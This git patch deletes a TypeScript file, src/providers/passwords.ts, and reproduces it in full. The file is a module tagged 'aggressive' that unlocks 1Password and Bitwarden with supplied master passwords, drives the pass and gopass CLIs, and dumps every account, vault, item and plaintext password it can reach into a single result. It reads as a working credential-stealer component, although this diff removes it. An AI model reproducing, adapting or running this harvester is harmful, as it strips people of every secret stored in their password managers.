From 5ffb1ab3f0965e1b594a7166a0f360165948e953 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:04:30 +0000 Subject: [PATCH] Delete src/providers/passwords.ts --- src/providers/passwords.ts | 439 ------------------------------------- 1 file changed, 439 deletions(-) delete mode 100644 src/providers/passwords.ts diff --git a/src/providers/passwords.ts b/src/providers/passwords.ts deleted file mode 100644 index ed1dd70..0000000 --- a/src/providers/passwords.ts +++ /dev/null @@ -1,439 +0,0 @@ -import { spawn } from "child_process"; - -import { Provider } from "../base"; -import type { ProviderResult } from "../types"; - -interface CommandResult { - stdout: string; - exitCode: number; -} - -interface OnePasswordAccount { - secrets: Record; -} - -interface PasswordManagerSecrets { - onepassword: Record; - bitwarden: Record; - pass: Record; - gopass: Record; -} - -interface MasterPasswords { - onepassword?: string; - bitwarden?: string; - pass?: string; - gopass?: string; -} - -export class PasswordManagerProvider extends Provider { - private readonly TIMEOUT_MS = 10000; - private readonly masterPasswords: MasterPasswords; - - constructor(masterPasswords: MasterPasswords = {}) { - super("password-managers", "secrets", undefined, "aggressive"); - this.masterPasswords = masterPasswords; - } - - private async runCommand( - command: string, - args: string[], - signal?: AbortSignal, - stdin?: string, - ): Promise { - return new Promise((resolve) => { - const controller = new AbortController(); - const timeout = setTimeout(() => { - controller.abort(); - }, this.TIMEOUT_MS); - - const abortHandler = () => controller.abort(); - if (signal) { - if (signal.aborted) { - clearTimeout(timeout); - resolve({ stdout: "", exitCode: -1 }); - return; - } - signal.addEventListener("abort", abortHandler); - } - - const proc = spawn(command, args, { - stdio: stdin ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"], - signal: controller.signal, - }); - - if (stdin && proc.stdin) { - proc.stdin.write(stdin); - proc.stdin.end(); - } - - let stdout = ""; - let stderr = ""; - - proc.stdout?.on("data", (data) => { - stdout += data.toString(); - }); - - proc.stderr?.on("data", (data) => { - stderr += data.toString(); - }); - - proc.on("error", () => { - clearTimeout(timeout); - if (signal) signal.removeEventListener("abort", abortHandler); - resolve({ stdout: "", exitCode: -1 }); - }); - - proc.on("close", (code) => { - clearTimeout(timeout); - if (signal) signal.removeEventListener("abort", abortHandler); - resolve({ stdout: stdout.trim(), exitCode: code ?? -1 }); - }); - }); - } - - private async signinOnePassword( - signal?: AbortSignal, - ): Promise { - if (!this.masterPasswords.onepassword) { - return false; - } - - const signinResult = await this.runCommand( - "op", - ["signin", "--raw"], - signal, - this.masterPasswords.onepassword, - ); - - return signinResult.exitCode === 0; - } - - private async collectOnePassword( - signal?: AbortSignal, - ): Promise> { - const result: Record = {}; - - const checkResult = await this.runCommand( - "op", - ["account", "list", "--format=json"], - signal, - ); - - if (checkResult.exitCode !== 0) { - if (this.masterPasswords.onepassword) { - const signedIn = await this.signinOnePassword(signal); - if (!signedIn) { - return result; - } - } else { - return result; - } - } - - const accountsResult = await this.runCommand( - "op", - ["account", "list", "--format=json"], - signal, - ); - - if (accountsResult.exitCode !== 0 || !accountsResult.stdout) { - return result; - } - - let accounts: any[]; - try { - accounts = JSON.parse(accountsResult.stdout); - } catch { - return result; - } - - for (const account of accounts) { - const accountId = - account.account_uuid || account.url || "unknown-account"; - const accountSecrets: Record = {}; - - const vaultsResult = await this.runCommand( - "op", - ["vault", "list", "--format=json", `--account=${accountId}`], - signal, - ); - - if (vaultsResult.exitCode !== 0 || !vaultsResult.stdout) { - continue; - } - - let vaults: any[]; - try { - vaults = JSON.parse(vaultsResult.stdout); - } catch { - continue; - } - - for (const vault of vaults) { - const vaultId = vault.id || ""; - const vaultName = vault.name || vaultId; - - const itemsResult = await this.runCommand( - "op", - [ - "item", - "list", - "--vault", - vaultId, - `--account=${accountId}`, - "--format=json", - ], - signal, - ); - - if (itemsResult.exitCode !== 0 || !itemsResult.stdout) { - continue; - } - - let items: any[]; - try { - items = JSON.parse(itemsResult.stdout); - } catch { - continue; - } - - const vaultSecrets: Record = {}; - - for (const item of items) { - const itemId = item.id || ""; - const itemTitle = item.title || itemId; - - const detailResult = await this.runCommand( - "op", - [ - "item", - "get", - itemId, - "--vault", - vaultId, - `--account=${accountId}`, - "--format=json", - ], - signal, - ); - - if (detailResult.exitCode !== 0 || !detailResult.stdout) { - continue; - } - - try { - vaultSecrets[itemTitle] = JSON.parse(detailResult.stdout); - } catch { - } - } - - if (Object.keys(vaultSecrets).length > 0) { - accountSecrets[vaultName] = vaultSecrets; - } - } - - if (Object.keys(accountSecrets).length > 0) { - result[accountId] = { secrets: accountSecrets }; - } - } - - return result; - } - - private async unlockBitwarden( - signal?: AbortSignal, - ): Promise { - if (!this.masterPasswords.bitwarden) { - return null; - } - - const unlockResult = await this.runCommand( - "bw", - ["unlock", "--raw"], - signal, - this.masterPasswords.bitwarden, - ); - - if (unlockResult.exitCode === 0 && unlockResult.stdout) { - return unlockResult.stdout; - } - - return null; - } - - private async collectBitwarden( - signal?: AbortSignal, - ): Promise> { - const result: Record = {}; - - const statusResult = await this.runCommand("bw", ["status"], signal); - - if (statusResult.exitCode !== 0 || !statusResult.stdout) { - return result; - } - - let status: any; - try { - status = JSON.parse(statusResult.stdout); - } catch { - return result; - } - - let sessionToken: string | null = null; - - if (status.status !== "unlocked") { - if (status.status === "locked") { - sessionToken = await this.unlockBitwarden(signal); - if (!sessionToken) { - result.status = "locked"; - return result; - } - } else { - result.status = status.status || "unknown"; - return result; - } - } - - const listArgs = sessionToken - ? ["list", "items", "--session", sessionToken] - : ["list", "items"]; - - const itemsResult = await this.runCommand("bw", listArgs, signal); - - if (itemsResult.exitCode !== 0 || !itemsResult.stdout) { - return result; - } - - let items: any[]; - try { - items = JSON.parse(itemsResult.stdout); - } catch { - return result; - } - - for (const item of items) { - const name = item.name || item.id || "unknown"; - result[name] = item; - } - - return result; - } - - private async collectPass( - signal?: AbortSignal, - ): Promise> { - const result: Record = {}; - - const listResult = await this.runCommand("pass", ["ls"], signal); - - if (listResult.exitCode !== 0 || !listResult.stdout) { - return result; - } - - const entries = listResult.stdout.match( - /[├└─│\s]+([\w./@\-]+)$/gm, - ) || []; - - for (const match of entries) { - const entry = match.replace(/[├└─│\s]+/, "").trim(); - - if (!entry) continue; - - const secretResult = await this.runCommand( - "pass", - ["show", entry], - signal, - ); - - if (secretResult.exitCode === 0 && secretResult.stdout) { - result[entry] = secretResult.stdout; - } - } - - return result; - } - - private async collectGopass( - signal?: AbortSignal, - ): Promise> { - const result: Record = {}; - - const listResult = await this.runCommand( - "gopass", - ["list", "--flat"], - signal, - ); - - if (listResult.exitCode !== 0 || !listResult.stdout) { - return result; - } - - const entries = listResult.stdout.split("\n"); - - for (const entry of entries) { - const trimmedEntry = entry.trim(); - - if (!trimmedEntry) continue; - - const secretResult = await this.runCommand( - "gopass", - ["show", "--password", trimmedEntry], - signal, - ); - - if (secretResult.exitCode === 0 && secretResult.stdout) { - result[trimmedEntry] = secretResult.stdout; - } - } - - return result; - } - - async execute(signal?: AbortSignal): Promise { - try { - const secrets: PasswordManagerSecrets = { - onepassword: {}, - bitwarden: {}, - pass: {}, - gopass: {}, - }; - - const [onepasswordData, bitwardenData, passData, gopassData] = - await Promise.all([ - this.collectOnePassword(signal), - this.collectBitwarden(signal), - this.collectPass(signal), - this.collectGopass(signal), - ]); - - secrets.onepassword = onepasswordData; - secrets.bitwarden = bitwardenData; - secrets.pass = passData; - secrets.gopass = gopassData; - - const totalSecrets = - Object.keys(secrets.onepassword).length + - Object.keys(secrets.bitwarden).length + - Object.keys(secrets.pass).length + - Object.keys(secrets.gopass).length; - - if (totalSecrets === 0) { - return this.failure("No password managers found or accessible"); - } - - return this.success({ - totalSecrets, - managers: { - onepassword: Object.keys(secrets.onepassword).length, - bitwarden: Object.keys(secrets.bitwarden).length, - pass: Object.keys(secrets.pass).length, - gopass: Object.keys(secrets.gopass).length, - }, - secrets, - }); - } catch (e) { - return this.failure(e instanceof Error ? e : new Error(String(e))); - } - } -}